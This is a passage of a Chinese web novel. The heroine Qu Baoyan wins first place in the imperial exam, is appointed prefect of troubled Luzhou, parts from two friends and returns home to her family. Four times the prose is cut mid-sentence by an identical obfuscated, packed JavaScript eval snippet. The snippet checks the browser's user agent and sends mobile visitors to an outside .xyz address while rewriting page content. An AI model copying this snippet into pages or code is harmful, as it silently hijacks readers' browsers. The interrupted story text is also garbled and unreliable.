书房内，瞿淮安正端坐书桌前，皱着眉临帖；而瞿佑苓则在一旁嘴里念着诗，念得断断续续，手里还偷偷攥了块蜜饯。 兄妹俩时不时互相瞄一眼用眼神打架，却都没敢太放肆，怕吵着了老太爷。 铺子那边照例是最忙的。 瞿老爷今日一早就去了前厅与伙计们核账，背手转着算盘珠子，眉头时紧时松；瞿秋晚一身素青对襟衣，手里拿着成色细致的绸样，正在跟门口的小掌柜核着料色分单，说话不多，小掌柜却不敢怠慢，一笔笔照她吩咐记得仔细。 府内东厢房，瞿夫人又推开了那间许久无人居住的房门。 阳光斜斜地照进来，纱帐早已收起，一尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042152|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不染的案几上笔架仍旧挂着一支笔，砚台空空，只有干裂的墨痕。 她抬手拂过那柄熟悉的椅背，似仍能听见女儿倚案读书时的细语朗声。 她轻轻叹了口气，打开柜门，抽出一只旧匣子，里面叠着几件放旧的澄色春衫。她一件一件抖了开来，指尖摩挲着衣角，眼神微微泛红。 “我的儿啊……” 午时方过，一家人刚用过午膳。 老太爷坐在主位，望着院外，指头在膝上一下一下掐着：“算着时辰，也该到了。” 一旁饮茶的瞿老爷听的云里雾里：“什么也该到了？” 巷角一阵尘土飞扬：“快让开快让开——京里快马传书！” 瞿老爷话音刚落，忽听前门处传来一阵急促马蹄，蹄声未至，人声先扬。 “喜报——京中快报——状元报喜——！” 瞿府门外，门房小厮正倚门晒着太阳，听得这声猛然蹿起。 只见一骑快马飞尘而来，马上人衣摆飞扬，怀中紧紧抱着封印漆红的大信函，直奔瞿家门口，一勒缰绳，马蹄高扬，尘土飞起—— “澄州贡士瞿宝砚，今科一甲一名，金榜状元！” 小厮一呆。 快马传信人早已亮出腰牌，唰地一抖信函封角：“礼部诏告，敕书尚在后头——这是急先报，奉旨传至各地父母官家！” 小厮这才回过神来，声嘶力竭大叫起来： “小姐——小姐中状元啦——！！” “咱们小姐中状元了！” “快——快请老爷夫人——” 这一下，全府上下炸了锅。 厅中，老太爷正要起身，被外头那声喊“小姐中状元啦——！”震得一怔，手中拐杖“咚”地一声落地，人却先起了身。 他浑浊的老眼猛地亮了，转身拉住身边瞿老爷的袖子：“可听见了？” 瞿老爷脸色亦是一懵，几乎不可置信：“爹，宝，宝砚她——她真中了？” 说话间，信使已大步入厅，躬身奉上传报的急函，沉声道： “今科殿试金榜初传，澄州贡士，瞿宝砚，中一甲第一名，状元之首！奉礼部之命，特快马报家中双亲。” “恭喜府上！” 瞿夫人“哎哟”一声，抚着胸口掩面而泣，颤声道：“我的阿双，中了状元啊……状元！” 身旁瞿姑姑抚上瞿夫人的背，眼里也含了热泪，笑道：“我心里也总觉着该有这么一天，这不是来了。” 瞿夫人点点头，又转身吩咐小丫鬟：“快，快把宝砚房里的香囊拿来，我再给她写封信，告诉她家里人都好，叫她千万别累着自己！” 瞿老爷回神不过片刻，立刻稳住神色，吩咐道：“来人！快请信使大人里屋奉茶，设座休息！” 一边说着，一边亲自上前，拱手躬身：“使节大人一路辛苦，快请屋里歇歇脚。” 一旁的瞿淮安和瞿佑苓早已手舞足蹈，差点抱在一起。 “大姐是状元！状元！”两人难得喊得如此一致，嗓音都变了调。 正高兴着，瞿佑苓却突然嘴角一瘪，下一秒嚎啕大哭起来：“呜呜呜，我想大姐了，我想大姐了——” 瞿淮安猝不及防：“唉唉唉，你别哭啊——怎么突然就哭了？！” 老太爷坐回主位，大掌拍上扶手，沉声道：“好！好哇！我瞿家出了个状元！！！” “快！开我的那坛状元红！”说着却也险些老泪纵横。 他望着府中笑语盈庭，抚须良久，方叹息： “宝砚，宝砚啊——” 21. 点官下旨 日头渐高，春光浅浅，透过窗纸洇出一圈暖晕，风过，帘影微晃，院内寂静无声。 门前忽传几声轻响。 宝桃儿闻声连忙轻手轻脚推门出来，见外头立着褚清芸和萧令仪，低声道：“两位姑娘早。我们小姐还未起呢，昨夜子时才回来，想是累坏了，这一觉睡得比往常都沉些。” 褚清芸闻言也赶紧放低了声音，正色道：“该歇歇了。她这一遭，可真是一桩接一桩——考场刚出又是游街又是赴宴的，连口气都没喘过。” 萧令仪立在一侧，眼底也稍有担忧，袖中握着一方素净贺笺，柔声道：“不打扰她。我们只是来道声贺，顺便送些小物。等她醒了，你替我们捎句话——今日家中长辈进京，一早便要出门，傍晚方归。等她歇够了，再约小聚也不迟，别催她。” 宝桃儿连声应下，感激道：“多谢姑娘们的好意，这话我一定带到。” 褚清芸从背后取出一只描金漆盒递来，笑嘻嘻地压低声音：“托人特制的，不值什么，衬她罢了，权当女儿家一份心意。” 萧令仪也递来一方小木匣，道：“我这份，想来她也会喜欢。” 褚清芸对宝桃儿努嘴示意：“你也去歇着吧。” 宝桃儿双手接过，连声致谢。 两人也不再多留，转身离去。 宝桃儿才刚进屋，便见瞿宝砚已倚榻而起，正低头理鬓，神色间也不见了倦怠，气色甚好。 “小姐醒啦？”宝桃儿放下手中东西，快步迎上前，一边去取鞋子，一边笑着说，“褚姑娘和萧姑娘才来过，送了贺礼，刚走，说是家中长辈进京，傍晚才回，约您改日再聚。” 她利落地将鞋摆好，随即转身拿起两件匣子与一张贺笺捧上：“这只是褚姑娘送的，说是为您特制女儿家用的，这是萧姑娘的贺笺和贺礼，说您会喜欢，您瞧瞧吧，还不知道里头装的是什么呢。” 瞿宝砚坐正，接过贺柬，细细看过，神情微动，轻声道：“有心了。” 她小心收起贺柬，方打开匣子。 褚清芸送的那一只刚掀开盖子，便先落下一张小字，纸薄如蝉翼，墨迹犹新，龙飞凤舞地写着八个字： “笔高千丈，人莫能敌。” “清节我赠，真骨你养。” 宝桃儿探头一看，眼睛都瞪圆了：“哎哟我老天，真敢写···” 而小字底下，却是一支竹节白玉簪，玉质细腻如凝脂，簪体雕作修竹之形，数节纤纤挺立，宛如风中清枝，光莹温润。 宝桃儿话说一半，见了这簪子后又急拐了个弯，怔怔道：“不过——没想到褚姑娘平时一副没正形的样子，送礼倒比谁都郑重，您说——她这八个字像不像把攒了三年的正经都一股脑写上啦？” 瞿宝砚失笑，低声道：“有人嘴上爱调笑，心里却是最明白的。” 另一只匣子里，是萧令仪赠的一方紫端砚，砚色如夜，纹理内敛，温润沉静，砚侧刻着“水静千寻”四字，字势清隽，气韵藏锋。 宝桃儿本想赞一声“不愧是萧姑娘”，却忽然瞥见砚底压着张小纸条，顿时惊讶道：“咦？萧姑娘怎么也学着褚姑娘塞小纸条？” 她轻轻抽出来，展开一看，只见上头写了端端正正的五个字：“宝砚赠宝砚。” 宝桃儿先是一愣，稍一细思，旋即捧腹大笑起来：“哈哈哈哈……小，小姐，要我说，这萧姑娘才是最不显山露水的，一出手便是一鸣惊人！” 瞿宝砚也忍俊不禁，指尖按着那张纸轻轻一顿：“她瞧着性子寡，心底比谁都活泼。” 宝桃儿擦着笑出来的泪：“这可好，您的朋友一个送节节高升，一个送文房四宝，这要再来个送灯的，我看您是得要夜读三更、修书百年啦！” 瞿宝砚摇头失笑，将纸条与砚一同收入匣中，神色比方才更柔和几分：“礼不言贵，情重千金。这份心意是最宝贵。” 她轻轻一叹：“一个冷中带趣，一个笑里藏真……倒让我占尽了她们的情分。” 她抬眸望向窗外：“人情收了，礼也该回得妥帖。正好纸笔也该添新了，今日天好，便去街上走走吧。” 闻言要上街，宝桃儿眼睛一亮，欢喜应道：“好呀！小姐今日精神瞧着也好了许多，出门踏青走走也舒坦。”她忙转身去取衣裳，口中还不忘唠叨：“那家卖笔的店上回不是说又进了几枝湖笔？可得看看去。” 说话间，她已利落地抖开外袍，替瞿宝砚穿衣系带，动作熟练，带着几分掩不住的欢快，比屋外鸟雀还要雀跃。 · 马车穿街过巷，坊间处处张贴红榜，挂出新匾。更有酒楼连夜换了招牌，改名“状元楼”，笔庄门前也摆出一溜的“状元笔”，款式各异，红绸缠柄，可谓是一派热闹。 连瞿宝砚上次去的那家卖笺的都门口挂了惹眼的红彩。 车内瞿宝砚目光一转，见街尾有家老字号仍旧清净，指道：“去那家罢。” 马车停下。宝桃儿跳下车，见门前有个卖饼摊，香气扑鼻，便告了一声，原地等起新出炉的大饼。 瞿宝砚则抬步入店。 这家店面不大，却处处透着规整，掌柜是个老者，见客人上门，亲自迎来，嗓音喑哑，带几分亲切：“客官可是来选纸墨的？” 瞿宝砚颔首：“是，想买些纸笔，不知掌柜的可有推荐？” 老掌柜点头，抖抖袖子，转身柜台后慢腾腾抱出一叠纸，介绍起来：“我这里，有新进的状元纸，比寻常纸只贵三钱，客官可要看看？” 瞿宝砚望着那叠与一般纸无任何不同的“状元纸”微微笑道：“多谢掌柜的，寻常纸便好。” 掌柜的并无不耐，只缓缓将那叠纸又抱了下去，语声依旧蔼蔼：“寻常纸都放后院了，客官若不嫌弃，我这便带您去看。” 瞿宝砚拱手，语气温和：“有劳。” 穿过耳房，行至后院，院中静谧，春光斜照，一株老槐树正好覆下一片清凉。树下一人背手而立，听得脚步声，转过身来—— 来人身着常服，面容清俊，身形挺拔，正是礼部郎中魏廷鉴。 他似乎也略有意外，背手含笑道：“咦，瞿状元？这可真巧，竟在这里碰上。” 瞿宝砚稍有错愕，却不动声色，很快敛神问礼：“魏大人。” 魏廷鉴看了看她，似笑非笑地道：“怎么？状元亲自来选纸，也不买那些铺子挂匾的‘状元纸’，反倒来我等冷清处淘旧货？” 瞿宝砚微微笑答道：“纸贵在好写，不贵在好听。” 魏廷鉴一笑，眼神微深：“说得对，倒是我多句嘴了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042153|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他负手踱开几步，转而立在那一排晾晒的生宣前，目光落在纸面，语调不紧不慢： “近来坊间倒比朝中更热闹，连铺子里卖纸的老掌柜都学乖了，专摆‘状元纸’，这一城纸墨都跟着水涨船高啊。京中酒楼什么“状元酒”、“三元宴”更是一金难求……连三岁小儿都识得今科状元的名讳，京师这般热闹，也算是近年少见的光景了。” 他语气松散，像是在随口闲谈。 瞿宝砚望着他背影，答得平静：“世人爱新奇，热闹归热闹，过了今朝，也就风过竹林，响一阵便罢了。” 魏廷鉴一挑眉，笑笑：“状元郎自谦了。” 他拂了拂袖，语声缓下几分，低头仔细挑选着： “世间好纸，素来难求。好纸要好木，好木要好地、好天、好时。可风头一起，便是树也难长得安稳。古人说“风摧秀木”，听来偏颇，细想却不无道理。风越急，树越显眼；树越高，便被摧得越狠。” “好木千难万难，好纸也终于制成，可这好纸大家都想落一笔。你一句，他一笔。写的人多了，反倒叫人分不清，是纸好，还是笔花。” 说罢，随意一叹：“要说避一避吧，也是个法子，只是那处风虽不大，地却硬，根扎得慢，也扎得苦。” “想来人生行路，大抵如此。光景难并，事亦难全呐。” 瞿宝砚闻言，心中微起波澜，却不作声，只转步走到纸架前，也看起晾晒的宣纸：“魏大人此言，莫非也来寻纸写策？” 魏廷鉴闻言轻笑，未正面作答，只俯身取起一张粗宣，对光细看。 “此纸质粗而韧，若用来修书，未免显得笨重；可若是绘图、写榜，倒是极耐笔锋。” 他指腹轻抚纸面，语声不紧不慢：“翰林院里的纸，细润温软，写起文章来自有风流，只是太易洇色，笔锋稍重，便走了形。” “听说江南的纸不错，不知状元郎可听说过渌州？” “渌州？” “渌州那地方不大，却鱼米富庶，宁国最好的纸，便发迹于此。” “可惜，偏生近几年来账目混乱连连，数任主官皆无功而返。陛下近日也案前颇为烦忧，叹‘人情盘根，吏治生寒’啊。” 说着，魏廷鉴将手中纸轻轻放下：“纸虽上乘，用不来写得好文章，也叫人头疼。若有人真能写得下去，倒是实打实能立一篇章。” 瞿宝砚静静听着，没有立刻接话。 片刻后，她轻轻开口：“若真如大人所言，那倒是比修书讲策，更能见真章。” 魏廷鉴负手一笑：“你这‘真章’二字，说得倒叫人耳热。。” 他转过身来，神情温和，语气却略带分量：“朝中写得好文章的人不少，但敢落笔这篇的人，却不多。” 瞿宝砚垂眸片刻，抬眼望向那树下一片斑驳光影，语声沉静而澄澈：“若能清政一方，百姓得安，才不负一纸圣恩。” 魏廷鉴听罢，深深看了她一眼，又拂了拂袖角上的纸屑，话锋轻转：“那看来，我要买的就是这纸了。” 他转身唤道：“掌柜的，给我三捆这纸，包好了，送到府上。” 又朝瞿宝砚微一拱手：“公务缠身，不便久留。” “瞿状元，告辞。” 院中风声沙沙。 22. 点官下旨2 数日过去，京城街头的金榜似乎被风吹得有些卷边了。 百姓们议论的新鲜事也换了几茬——哪家高门大户与哪家结了亲，婚宴连摆三日，还请了教坊的头牌唱了满堂彩；哪处新开了戏班子，头座竟被人连夜守着去抢；哪家酒楼出了道新菜“玉带酥鱼”，听闻皮酥肉嫩，一出锅便排起了长队。说得一个个眉飞色舞，仿佛亲眼见过似的。 云台里虽不似先前读书声紧，却仍人心浮动，诸多新科进士皆在等那封最后的诏令。 松鹤院内却一如既往。 三月末，春光乍暖，晨光穿过院墙上的竹影洒落一地，瞿宝砚已早早起身，在院中树荫下展卷读书。 她着一身浅青水纹衫子，衣袖轻阔，随风微曳，神色静定，指尖轻翻书页，目光凝在一行行字上。 宝桃儿在一旁晾晒衣服，边抖晒边忍不住念叨起来：“小姐，您说这上任的诏令怎么还没来呢？这都几天了，听说有些家的都落定了，咱这头名怎么反倒还慢些……” 她蹲身一边叠衣一边咕哝：“您要是留在京里做差，咱就把老爷夫人他们接来住一处，一大家子热热闹闹的，我都有些想青杏儿了，好久没见，也不知道她是不是比我高了——” “对了，我听萧姑娘说，翰林院边上还有几处宅子空着，虽贵些，但咱府上也不是买不起……要不托人去打听打听？” 话音未落，院外忽然传来敲门声。 “一甲一名，瞿宝砚——有诏！” 宝桃儿惊得手里的衣裳一抖，险些掉地，连忙放下衣架小跑出去开门。 两名小吏立在门口奉着两轴红卷入内，礼数恭谨道： “吏部奉旨，宣发今科调令。瞿状元，接诏令吧。” 瞿宝砚接过：“幸苦二位了。” 这两轴一轴是诏命，一轴是调令。 她拂去外封红丝，展卷细看。 宝桃儿站在一旁，心跳得仿佛快过窗外的麻雀。 诏曰： 「澄州贡士瞿宝砚，今科状元，文策兼优，识度卓然，堪以任使。 特授江南道越阳府渌州知州，正五品，赐尚方印信一道。 着即日整装，三旬内赴任，不得稽误。」 宝桃儿一旁小声问：“小姐，咱是去哪儿任职啊？” 瞿宝砚合上诏令，语气平静：“渌州。” 宝桃儿眼睛一下瞪大了，声音都拔高了半分：“渌、渌州？那是……哪儿呀？咱不是该留在京里吗？” 瞿宝砚却只是收了诏令，送走来使，转身朝院中走去，淡淡道：“京城院子不必找了，收拾行装要紧。” 宝桃儿急忙跟上，满脸都是懵：“小姐……这到底怎么回事？渌州到底是个哪门子地方？咱们怎么就说走就走啦？” 瞿宝砚脚步一缓，回头看了她一眼，眼神安抚，缓声道：“在江南道，离咱们澄州远些，挨着梧川道。” “旨意既下，该走便走。咱们奉旨办差，便是分内之事。” 宝桃儿嘴巴张了张，还是一脸发愣，低低应了句：“哦……小姐说是那便是。” 瞿宝砚见状，不禁弯了弯唇角：“咱们去赴任前还能绕回澄州一趟，别丧着脸了。” “回家还能见着青杏儿，吃你念叨了半年的卤面。” 宝桃儿眼睛顿时一亮：“真的？那、那我现在就去收拾！” 瞿宝砚重新坐回木椅，将书卷翻开，轻声吩咐：“也通知老陈他们，准备行装吧，咱们三日后出发。” 诏令一下，松鹤院也随之忙碌起来，书箱打包，衣物点检，院中多了几分将行未行的气息。 第二日午后，日光尚暖，照得窗下几案影影绰绰。 松鹤院后窗外的玉兰花已开了一树，淡香轻拂，随着微风穿过竹影，卷入案前。 院中案上摆着一壶温酒、一盏白茶，还有褚清芸亲手从御街挑来的青团与桂花酥点，酥饼外皮泛着软润光泽。 三人围坐桌前，皆似平常，却字字含了别意。 “你要是真去了渌州，”褚清芸咬着酥饼，含糊不清地开口，“等我回北地从军路上，若是顺道经过，非得拐去看你一眼。” “你这一路万里风霜，还惦记着绕道来看我？”瞿宝砚失笑，语气半是调侃。 “那当然。”褚清芸仰头灌了口酒，酒气将她眸中意气染得更浓，“你都做知州了，我可还是从六品的兵曹参军，日后一脚泥一脚雪地跑战地，若不去你那儿蹭顿酒喝，岂不白受苦。” 她说着又咬了一口酥饼，满不在乎地笑：“不过，你那儿要是有酒，我就喝酒，你要是清政如水，什么也没有，那我就陪你夜读，咱俩睡一窝——” 瞿宝砚轻叹了声，似无奈又似好笑，“你倒打得一手如意算盘……我是知州，不是开客栈的。” 她顿了顿，又补上一句：“不过真来了，自然给你留个位子。夜读也成，只怕你念不过三行就打起呼噜了。” 案上一阵笑声。 萧令仪垂眸轻抿了口茶，叹道：“这下咱仨，一个千里闯军府，一个守壁修典策，一个下场炼风雨。我在京城，虽也劳神，总不必奔波。你们一个走北地风雪，一个赴江南泥雨，路远事重，心更难安……且行且小心。” 她顿了顿，低声道：“若是累了，倦了，能歇的地方不多，能放心的人也不多。可若是来信，我总会回的。” “你说得倒轻巧。”褚清芸哼了声，放下茶盏，冲她挤眉，“谁不知道你那翰林院水深，文书写得慢点都要罚茶钱。那地方老油条一箩筐，个个滑不留手，你那小性子，能熬几日？” 萧令仪闻言也心中一暖，却抬眸淡淡道：“你还是先担心担心自己吧。军营里头，可不是讲理的地方，你要跟人家说道理，人家只怕回你一拳头。” 褚清芸闻言龇牙一笑：“这个你不必担心，他们不敢。真要有人敢揍我，我家老子哥哥可不是吃素的——” 褚清芸自有人护着，可瞿宝砚却不同。 萧令仪眉心微皱，颇为担忧，望向瞿宝砚压低声道：“也不知陛下为何将你派去渌州……那地我听家中提过，却都是讳莫如深。水深浪急，素来不宁。盐务、河道、民情……桩桩件件都藏着刺，稍有不慎，怕是——” 瞿宝砚闻言却只是轻笑，按住萧令仪握来的手，语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042154|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温和：“不必替我担心。陛下既将我安在那里，便是信得过我。渌州确实事杂，风高浪急，但政为安民，根在百姓，也不是无章可循，若能一步步走稳，未必不能做点事。” 褚清芸摆摆手：“这话不假，但说得就跟那些人肯听你讲章似的，听说几任新官都是上任即走，我劝你还是把讲章收一收，先备几句狠话，几套应付的法子。再不济——”她眨了眨眼， “你要撑不住了，来信一封，我带兵替你掀桌子去。” 瞿宝砚笑：“那可不成，渌州那点地，哪经得起你掀？你要真带兵杀过去，我怕还没来得及写信，朝廷就先一道折子把我召回了。” 褚清芸也笑，虽仍挂着笑，眼神却认真了几分：“你不是不行，你太行了。但那地方太乱，不讲理。你要是真碰上了事，记得先保命，别跟那些老狐狸死磕。” 瞿宝砚也收了几分玩笑意味，微微点头：“好。” 褚清芸：“哎呀不说了不说了，越说越烦心，本以为这殿试过后是海阔凭鱼跃，天高任鸟飞，我们仨怎么反倒一个比一个凄惨又憋屈，都要临别了，还是讲点有趣的罢。” 萧令仪瞥她一眼：“那讲什么？” 褚清芸托着下巴，忽而笑出声来：“你们还记得那年冬天，我在院里偷着生炉子煮面，被那鬼天气一吹，火苗蹿了半人高，差点把柴房给点着了？” 瞿宝砚回想起那日，也笑了：“你煮的是哪门子面？我记得你连锅盖都不会盖，结果烟冒出来，整个东院的人都跑出来救火。” “是你扯着水桶从井边跑回来，还把令仪从书楼里拖出来——”褚清芸说着自己先笑得直不起腰，“那天我满脸烟灰，还硬说‘只是水开得猛’。” “嗯，结果那锅面糊得跟灰炭似的。”萧令仪低声补了一句，嘴角却浮起难得一见的笑意。 “你还不准我们扔，说是‘炭多可暖胃’。”瞿宝砚摇了摇头，眸中含着笑，“结果那碗面我们三人全吃了，一人只吃一口。” “那可是我唯一一次亲自下厨！”褚清芸将青团往嘴里一塞，含糊道，“现在想来都觉得值——那天晚上我们在柴房围着小火堆，三个人冻得直跺脚，竟然讲了一夜的盐铁论。” 萧令仪轻轻应声，也陷入回忆中：“那晚你说，你若为将，愿为穷地之兵写一纸军令；我说，我愿入史馆，为正史留笔成书。宝砚说，愿天下得真治，百姓得真安。” 笑声散落在远方夜色里，一瞬间仿佛又回到那些昔日同窗的时光，灯下争论、墨香檀烟，皆历历如昨。 良久，褚清芸收了笑意，手指在茶盏边轻轻转动：“咱仨，从策堂论起，到此一别。” 她顿了顿，望着两人：“你说，若干年后，咱们还能有机会同堂议政吗？” 萧令仪缓缓抬眸，看她一眼，轻声道：“愿如此，也信如此。” 瞿宝砚端起茶盏，目光清澈而笃定：“若同道，千山万水，终于一处。” 三人对视一笑，不再言语。 白茶微凉，酒意渐浓。 她们举杯轻碰，杯中之声清脆而短暂，仿佛立下了无声誓言：白首如初，共赴山河。 23. 山河驿路 出京那日，天朗气清。 三日转瞬而过，天色未明，车马已备。 瞿宝砚一身深青行服，立于院前回首望去，只见窗外玉兰尚未全谢，帘影斜晃，仿佛昨日仍是静坐读书之时，而初来那日恍若只隔数日而已。 道别了褚清芸和萧令仪，车驾启行，过了云台外的十字街，又路过初来乍到的那家百川楼——门前新挂了“连中三元”的菜牌，食客不断，热闹依旧。 车队一路南行，沿着旧年入京的驿路缓缓而返。 这路走过一次，再走，便不是原路了。 如今再走这条路，是往返之途，一程回澄州，一程赴渌州。 万象似旧非旧，行人早非来时人。旧路依然通南北，春风却换了颜色。 行至梧川道，那一带仍旧繁华喧嚣，酒旗猎猎，客声鼎沸，与初来之时似无二致，却也有些不同。 那些初见时目不暇接的浮华，如今看来，不过是尘烟聚散。酒肆门前的招牌仍闪着光，茶楼之上隐约传来几声弦音，却再无当初那般喧腾。 浮华仍是浮华，只是烦躁不再入心。 瞿宝砚微微抬手，指腹拨开车窗一角帘子，望向街边一群嬉笑追逐的少年，眼底不觉泛起一抹笑意。 再往南，入江南道，春色愈浓，眼前一片熟景。 柳烟深处，水泽横陈，白鹭栖飞，野鸭穿波。岸边稻田已翻新绿，村舍掩映于桑林之后，炊烟袅袅，水车悠悠，自有一份静好。 溪畔桃李成行，风过花雨，轻点水面。一路行来，或闻村童牧笛，或见渔舟唱晚，皆如画卷流转。 车中几上摊着一本《渌州风志》，瞿宝砚正读完，轻合起，望着窗外的江天一色。 天光正好，万物生机自水气中腾起，仿佛整个天地都在慢慢展开—— · 这日午后，城南的小巷口忽然劈劈啪啪响起热烈的鞭炮声，炸得一街皆闻。 “来了来了——瞿家状元回来了！” 街口的孩童踮脚张望，远处一乘素青花边马车缓缓驶入巷口，车头一现，两旁立即锣鼓喧天起来，小儿高呼，舞狮腾跳，煞是热闹。 小巷本不宽敞，这会儿却挤满了看热闹的街坊邻里，人人笑颜盈面，口中皆道：“瞿家的大姑娘是真有出息啊，咱澄州也出了个大人物！” “这回咱们这个小巷子可算是出了名了！”东头刘家老太太拄着拐杖笑得合不拢嘴，与有荣焉，“说出去——咱巷子里住着状元郎，谁不竖大拇指？” “这以后澄州府志要是重修，这巷名后头得添仨字——状元巷！”边上西头的赵老三站在人群边，撸起袖子嘿嘿笑，“我家那小子要是再贪玩，我就拉他来这街上站一宿，叫他睁眼学学人家瞿状元！” “可不是嘛！”靠墙根手抱婴孩的陈四叔咂着嘴拍着大腿，“同是咱乡里的，人家姑娘能考进京，还能殿试夺魁！咱家那小兔崽子，写个字都写不直——说出去都丢人！这下好了，看以后咱乡里，巷子里的，谁家孩子还敢混！” “大喜事，天大的喜事啊——” 马车一停，前方县衙一众官吏早已等候在旁，知县亲自迎上，身着朝服，神色殷勤，一抱拳便道： “学生李延清，恭迎状元郎衣锦还乡——为我澄州增光、为乡梓争彩！” 他一口气说了七八句文辞官话，辞章工整，言辞恳切。说到一半，才忽想起不妥之处，又连忙改口笑道：“不对不对，如今，下官该叫您一声‘瞿大人’才是。” 瞿宝砚闻言微笑，轻轻拱手回道：“李大人言重了。宝砚虽忝列名籍，实不敢忘澄州乡恩，仍望多多教诲。” 她一身素袍青衣，整肃而不失亲和。下车之后，又朝四方众人逐一颔首，笑意温和，拱手谢道：“今日，多承李大人与各位父老乡亲远道相迎，宝砚心怀感激，不胜感念。” “宝砚自幼生长澄州，承乡梓庇护，方得一路读书求学。今有微成，实赖家训所育、亦蒙乡亲之恩。” 她目光缓缓扫过众人，神色真诚：“澄州安定，风俗淳和，学风日盛，离不开李大人与各位乡贤的教化守成。” 拱手再揖：“所谓‘状元之名’，宝砚实不敢独居，愿与乡里共守共勉。” 此言一出，众人听罢，只觉心头一热，不少人眼中竟泛起微光。 四下间，赞声顿起，热烈而不喧。 瞿家众人也早已盼望在门口。 瞿夫人立在门阶之上，目光紧紧盯着那抹青色身影，原本忍着不动的神情终于松了。待女儿转过身来，她再也按捺不住情绪，快步迎上前去，一手紧紧握住瞿宝砚的手，声音带颤：“我的儿啊，你可算回来了。盼星星盼月亮的，可将你盼回来了，让我看看，你瘦了没有——” 瞿夫人话还没说完，瞿淮安和瞿佑苓便立即围了上来，叽叽喳喳地绕着瞿宝砚转，几乎同时喊道： “大姐你终于回来了！” 瞿佑苓抢先一步，压抑不住兴奋：“大姐，你写的信我可都仔仔细细读过好几遍！一封没落下。你在信里说要多读《左传》，我就读了两遍！” 瞿淮安也不甘示弱，紧接道：“我可不止读书！我还跟着先生学了骑马射箭！” 瞿佑苓撇嘴道：“一边去，我先说的，大姐应该先夸我！” “凭什么谁先说就先夸谁，不是谁进步大该夸谁吗？”瞿淮安立马顶了回去，“上月是谁背书背不出来被打了手板！” “好你个瞿淮安，敢这时候揭我短——我，我跟你拼了！” 眼看两人要打起来，瞿宝砚忍俊不禁，只得先松开瞿夫人的手，一手一个把他们揽进怀里： “好，好，都好。但谁也不许欺负谁——回头，我给你们一人写一封夸奖的信还不成？” 兄妹俩这才笑嘻嘻地偃旗息鼓，彼此瞪了一眼，依旧不忘小声拌嘴。 瞿老爷站在一旁，这时也走了出来，望着女儿欣慰道：“好，好，回来了就好，快回家歇息。” 说罢又往外走了几步，面上带笑，对着一圈街坊邻里，朗声道：“今日小女归家，承蒙诸位父老亲邻厚待，本当设宴款待，奈何舟车劳顿，实难周全。改日再请诸位入府一叙，以尽谢意。” 人群中顿时响起阵阵笑声和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042155|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应和：“瞿老爷客气啦！” “咱们街坊一家亲，状元回家，这酒迟早要喝的！” “对，改日可不能忘了我东头那一桌！” ······ 门一掩，外头的锣鼓鞭炮顿时被隔在院外。 瞿宝砚望着熟悉的梁柱窗棂，短暂一瞬间竟有些恍惚。 回家了。 瞿夫人眼中早已泛红，拉过瞿宝砚的手，仔细端详了好一会儿，才低声道：“让娘好生瞧瞧……这大半年不见，我儿又长开了些，越发有风采了。我瞧着，是不是瘦了些？在京中定然吃了不少苦吧。” 瞿宝砚另一只手轻轻揽住母亲，语声温柔：“娘亲放心，女儿很好。一路上有宝桃儿细心照料，不曾吃苦。” 此时宝桃儿正在一旁和青杏儿抱作一团，小声笑闹着。瞿夫人闻言望向宝桃儿，眼中满是感激，轻声道：“好孩子，你跟着宝砚也吃了不少苦。你也是咱们家的福星，我都记在心里。” 说着，便悄悄从袖中取出一只精致小荷包，塞进宝桃儿手中。 宝桃儿吓了一跳，连忙推辞：“夫人使不得，小姐带我进京一趟，我感激还来不及呢。京里头可繁华了，我从没见过那么多新鲜物什，眼界都开了不少。再说，照顾小姐是我份内之事，绝不幸苦！” 瞿宝砚轻笑：“拿着吧，留着给自己买好吃的。”又对瞿夫人道，“她这一路上，馋银姑的卤面馋得紧，天天都在念叨那一口。” 瞿夫人一听，眼睛也笑弯了，连忙吩咐：“快，快叫厨房去——叫银姑先给她们做上碗热卤面，再加两个糖蒸饼，给她们压压惊。” 